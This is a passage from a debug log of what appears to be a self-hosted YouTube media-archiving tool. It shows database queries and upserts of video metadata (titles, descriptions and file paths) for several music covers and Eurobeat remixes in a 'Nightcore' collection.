"sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:12.397 [debug] QUERY OK source="media_items" db=0.5ms idle=1004.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-07 18:31:15Z], 1] 22:23:12.646 [debug] QUERY OK source="media_items" db=248.4ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Original by Imojistmusic was taken down so here’s a reupload! Credit to him!\n\nhttps://youtube.com/@IMOJIST?si=JGCqRiw18unQnwzn", "Kiss me again (Eurobeat remix)", "8648b150-4f54-4caa-941f-c574811bda9b", false, "WcZfXHqksq4", 224, false, "https://www.youtube.com/watch?v=WcZfXHqksq4", 27, "/downloads/Nightcore/Nightcore/2025-04-07Kiss me again (Eurobeat remix)[WcZfXHqksq4].m4a", false, false, 1, [], 1, ~U[2025-04-07 18:31:15Z], ~U[2026-07-24 02:23:12Z], ~U[2026-07-24 02:23:12Z], "Original by Imojistmusic was taken down so here’s a reupload! Credit to him!\n\nhttps://youtube.com/@IMOJIST?si=JGCqRiw18unQnwzn", "Kiss me again (Eurobeat remix)", "WcZfXHqksq4", 224, false, "https://www.youtube.com/watch?v=WcZfXHqksq4", "/downloads/Nightcore/Nightcore/2025-04-07Kiss me again (Eurobeat remix)[WcZfXHqksq4].m4a", false, 1, ~U[2025-04-07 18:31:15Z]] 22:23:12.647 [debug] QUERY OK source="sources" db=0.6ms idle=251.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:12.675 [debug] QUERY OK source="media_profiles" db=0.8ms queue=27.1ms idle=251.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:12.677 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=278.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [27] 22:23:12.677 [debug] Current batch of media processed. Will check again in 1000ms 22:23:13.677 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "𝕾𝖙𝖗𝖊𝖆𝖒\nhttps://lolliaofficial.com/release/thecollectivev01/\n_\nTEAM EDWARD OR JACOB? Nah jk lol... WOO! Here it is. Recording this song was almost the bane of my existence, but I'm SUPER proud of how this turned out! This is one of my dream covers, and I'm happy I was able to collab with my good friends Rich and Rachel. I love you guys! Also, be sure to check our other collab on @RichaadEB's channel. We covered \"A Cruel Angel's Thesis\"! https://www.youtube.com/watch?v=4PufrCwfIhk\n_\n𝕮𝖗𝖊𝖉𝖎𝖙𝖘\n♦ Vocals by @lollia_official.\n♦ Arrangement, guitar and mix by @RichaadEB.\n♦ Music video filmed and produced by Rachel E.B. (https://twitter.com/thunderesque)\n♦ Original song by Paramore.\n_\n𝕱𝖔𝖑𝖑𝖔𝖜 𝕸𝖊\n◈ https://lolliaofficial.com/links\n◈ https://ffm.bio/lollia\n_\n#PARAMORE #DECODE #TWILIGHT\n#lollia #lolliacover \n(LYRICS IN COMMENT SECTION)\n© PRODUCTION OF ROSE MOON STUDIOS LLC", "duration" => 257, "filename" => "/downloads/Nightcore/Nightcore/2020-04-11Decode (Paramore) Cover by Lollia feat. @RichaadEB[iCIdnu-2TQ4].m4a", "id" => "iCIdnu-2TQ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iCIdnu-2TQ4", "playlist_index" => 28, "timestamp" => 1586638811, "title" => "Decode (Paramore) Cover by Lollia feat. @RichaadEB", "upload_date" => "20200411"} 22:23:13.678 [debug] QUERY OK source="sources" db=0.1ms idle=1030.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:13.678 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:13.678 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-11 21:00:11Z], 1] 22:23:13.937 [debug] QUERY OK source="media_items" db=258.7ms idle=1001.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["𝕾𝖙𝖗𝖊𝖆𝖒\nhttps://lolliaofficial.com/release/thecollectivev01/\n_\nTEAM EDWARD OR JACOB? Nah jk lol... WOO! Here it is. Recording this song was almost the bane of my existence, but I'm SUPER proud of how this turned out! This is one of my dream covers, and I'm happy I was able to collab with my good friends Rich and Rachel. I love you guys! Also, be sure to check our other collab on @RichaadEB's channel. We covered \"A Cruel Angel's Thesis\"! https://www.youtube.com/watch?v=4PufrCwfIhk\n_\n𝕮𝖗𝖊𝖉𝖎𝖙𝖘\n♦ Vocals by @lollia_official.\n♦ Arrangement, guitar and mix by @RichaadEB.\n♦ Music video filmed and produced by Rachel E.B. (https://twitter.com/thunderesque)\n♦ Original song by Paramore.\n_\n𝕱𝖔𝖑𝖑𝖔𝖜 𝕸𝖊\n◈ https://lolliaofficial.com/links\n◈ https://ffm.bio/lollia\n_\n#PARAMORE #DECODE #TWILIGHT\n#lollia #lolliacover \n(LYRICS IN COMMENT SECTION)\n© PRODUCTION OF ROSE MOON STUDIOS LLC", "Decode (Paramore) Cover by Lollia feat. @RichaadEB", "9f0255a9-81a4-4c72-a057-88331b0e52c1", false, "iCIdnu-2TQ4", 257, false, "https://www.youtube.com/watch?v=iCIdnu-2TQ4", 28, "/downloads/Nightcore/Nightcore/2020-04-11Decode (Paramore) Cover by Lollia feat. @RichaadEB[iCIdnu-2TQ4].m4a", false, false, 1, [], 1, ~U[2020-04-11 21:00:11Z], ~U[2026-07-24 02:23:13Z], ~U[2026-07-24 02:23:13Z], "𝕾𝖙𝖗𝖊𝖆𝖒\nhttps://lolliaofficial.com/release/thecollectivev01/\n_\nTEAM EDWARD OR JACOB? Nah jk lol... WOO! Here it is. Recording this song was almost the bane of my existence, but I'm SUPER proud of how this turned out! This is one of my dream covers, and I'm happy I was able to collab with my good friends Rich and Rachel. I love you guys! Also, be sure to check our other collab on @RichaadEB's channel. We covered \"A Cruel Angel's Thesis\"! https://www.youtube.com/watch?v=4PufrCwfIhk\n_\n𝕮𝖗𝖊𝖉𝖎𝖙𝖘\n♦ Vocals by @lollia_official.\n♦ Arrangement, guitar and mix by @RichaadEB.\n♦ Music video filmed and produced by Rachel E.B. (https://twitter.com/thunderesque)\n♦ Original song by Paramore.\n_\n𝕱𝖔𝖑𝖑𝖔𝖜 𝕸𝖊\n◈ https://lolliaofficial.com/links\n◈ https://ffm.bio/lollia\n_\n#PARAMORE #DECODE #TWILIGHT\n#lollia #lolliacover \n(LYRICS IN COMMENT SECTION)\n© PRODUCTION OF ROSE MOON STUDIOS LLC", "Decode (Paramore) Cover by Lollia feat. @RichaadEB", "iCIdnu-2TQ4", 257, false, "https://www.youtube.com/watch?v=iCIdnu-2TQ4", "/downloads/Nightcore/Nightcore/2020-04-11Decode (Paramore) Cover by Lollia feat. @RichaadEB[iCIdnu-2TQ4].m4a", false, 1, ~U[2020-04-11 21:00:11Z]] 22:23:13.938 [debug] QUERY OK source="sources" db=0.5ms idle=260.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:13.938 [debug] QUERY OK source="media_profiles" db=0.1ms idle=260.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:13.939 [debug] QUERY OK source="media_items" db=0.1ms idle=260.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [28] 22:23:13.939 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "✶ Be my Patron: https://www.patreon.com/VioletOrlandi \n✶ Donate with PayPal - https://bit.ly/VioletOrlandi\n\n✶ MERCH - https://violet-orlandi-shop.fourthwall.com/\n\nFOLLOW ME:\nhttps://linktr.ee/VioletOrlandi\n\nSTREAM THIS COVER\nSpotify https://spoti.fi/3kyrjPu\nApple Music https://apple.co/3438JbZ\n\n----------------------------------------------------------------------------------------------------\n\nRecorded & produced by Elia Bazzi\nMix & master by Giampiero Ulacco - http://bit.ly/2T9tn5F\n\nKeep in touch with Barbie Sailers!\nYoutube ➵ https://www.youtube.com/barbiesailers", "duration" => 238, "filename" => "/downloads/Nightcore/Nightcore/2020-09-20Lana Del Rey - Summertime Sadness (ROCK COVER)[_EI4dchgzVw].m4a", "id" => "_EI4dchgzVw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_EI4dchgzVw", "playlist_index" => 29, "timestamp" => 1600627158, "title" => "Lana Del Rey - Summertime Sadness (ROCK COVER)", "upload_date" => "20200920"} 22:23:13.939 [debug] QUERY OK source="sources" db=0.1ms idle=260.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:13.940 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:13.940 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-09-20 18:39:18Z], 1] 22:23:14.168 [debug] QUERY OK source="media_items" db=227.9ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["✶ Be my Patron: https://www.patreon.com/VioletOrlandi \n✶ Donate with PayPal - https://bit.ly/VioletOrlandi\n\n✶ MERCH - https://violet-orlandi-shop.fourthwall.com/\n\nFOLLOW ME:\nhttps://linktr.ee/VioletOrlandi\n\nSTREAM THIS COVER\nSpotify https://spoti.fi/3kyrjPu\nApple Music https://apple.co/3438JbZ\n\n----------------------------------------------------------------------------------------------------\n\nRecorded & produced by Elia Bazzi\nMix & master by Giampiero Ulacco - http://bit.ly/2T9tn5F\n\nKeep in touch with Barbie Sailers!\nYoutube ➵ https://www.youtube.com/barbiesailers", "Lana Del Rey - Summertime Sadness (ROCK COVER)", "e07cf770-d596-49f0-92ae-26b5dc0267b3", false, "_EI4dchgzVw", 238, false, "https://www.youtube.com/watch?v=_EI4dchgzVw", 29, "/downloads/Nightcore/Nightcore/2020-09-20Lana Del Rey - Summertime Sadness (ROCK COVER)[_EI4dchgzVw].m4a", false, false, 1, [], 1, ~U[2020-09-20 18:39:18Z], ~U[2026-07-24 02:23:13Z], ~U[2026-07-24 02:23:13Z], "✶ Be my Patron: https://www.patreon.com/VioletOrlandi \n✶ Donate with PayPal - https://bit.ly/VioletOrlandi\n\n✶ MERCH - https://violet-orlandi-shop.fourthwall.com/\n\nFOLLOW ME:\nhttps://linktr.ee/VioletOrlandi\n\nSTREAM THIS COVER\nSpotify https://spoti.fi/3kyrjPu\nApple Music https://apple.co/3438JbZ\n\n----------------------------------------------------------------------------------------------------\n\nRecorded & produced by Elia Bazzi\nMix & master by Giampiero Ulacco - http://bit.ly/2T9tn5F\n\nKeep in touch with Barbie Sailers!\nYoutube ➵ https://www.youtube.com/barbiesailers", "Lana Del Rey - Summertime Sadness (ROCK COVER)", "_EI4dchgzVw", 238, false, "https://www.youtube.com/watch?v=_EI4dchgzVw", "/downloads/Nightcore/Nightcore/2020-09-20Lana Del Rey - Summertime Sadness (ROCK COVER)[_EI4dchgzVw].m4a", false, 1, ~U[2020-09-20 18:39:18Z]] 22:23:14.169 [debug] QUERY OK source="sources" db=0.4ms idle=229.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:14.170 [debug] QUERY OK source="media_profiles" db=0.2ms idle=230.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:14.170 [debug] QUERY OK source="media_items" db=0.3ms idle=230.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [29] 22:23:14.170 [debug] Current batch of media processed. Will check again in 1000ms 22:23:15.171 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Studio 71\n\nSo Cold · First to Eleven\n\nCovers Vol. 14\n\n℗ 2023 First to Eleven, under exclusive license to Studio71\n\nReleased on: 2023-01-19\n\nMain Artist: First to Eleven\nLyricist: Benjamin Burnley\nComposer: Benjamin Burnley\n\nAuto-generated by YouTube.", "duration" => 271, "filename" => "/downloads/Nightcore/Nightcore/2025-12-16So Cold[oOqGt1U2e9w].m4a", "id" => "oOqGt1U2e9w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oOqGt1U2e9w", "playlist_index" => 30, "timestamp" => 1765918009, "title" => "So Cold", "upload_date" => "20251216"} 22:23:15.172 [debug] QUERY OK source="sources" db=0.2ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:15.172 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:15.173 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 20:46:49Z], 1] 22:23:15.503 [debug] QUERY OK source="media_items" db=329.7ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Studio 71\n\nSo Cold · First to Eleven\n\nCovers Vol. 14\n\n℗ 2023 First to Eleven, under exclusive license to Studio71\n\nReleased on: 2023-01-19\n\nMain Artist: First to Eleven\nLyricist: Benjamin Burnley\nComposer: Benjamin Burnley\n\nAuto-generated by YouTube.", "So Cold", "4701fe0d-3d33-437e-945f-f3173abca3d2", false, "oOqGt1U2e9w", 271, false, "https://www.youtube.com/watch?v=oOqGt1U2e9w", 30, "/downloads/Nightcore/Nightcore/2025-12-16So Cold[oOqGt1U2e9w].m4a", false, false, 1, [], 1, ~U[2025-12-16 20:46:49Z], ~U[2026-07-24 02:23:15Z], ~U[2026-07-24 02:23:15Z], "Provided to YouTube by Studio 71\n\nSo Cold · First to Eleven\n\nCovers Vol. 14\n\n℗ 2023 First to Eleven, under exclusive license to Studio71\n\nReleased on: 2023-01-19\n\nMain Artist: First to Eleven\nLyricist: Benjamin Burnley\nComposer: Benjamin Burnley\n\nAuto-generated by YouTube.", "So Cold", "oOqGt1U2e9w", 271, false, "https://www.youtube.com/watch?v=oOqGt1U2e9w", "/downloads/Nightcore/Nightcore/2025-12-16So Cold[oOqGt1U2e9w].m4a", false, 1, ~U[2025-12-16 20:46:49Z]] 22:23:15.504 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=824.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:15.505 [debug] QUERY OK source="media_profiles" db=0.3ms idle=332.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:15.506 [debug] QUERY OK source="media_items" db=0.4ms idle=332.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [30] 22:23:15.506 [debug] Current batch of media processed. Will check again in 1000ms 22:23:16.507 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "how do you drift?\n.\n› Genre(s): Eurobeat\n.\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› Sociabuzz: https://sociabuzz.com/imojist/tribe\n.\n› Follow Me on Facebook: https://www.facebook.com/imojistmusic/\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: Boom - How Do You Do?\n.\nArt: https://thptnganamst.edu.vn/top-100-image-red-hair-anime-girl/\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#boom #howdoyoudo #eurobeat #remix #music #nightcore", "duration" => 216, "filename" => "/downloads/Nightcore/Nightcore/2023-08-13HOW DO YOU DO? 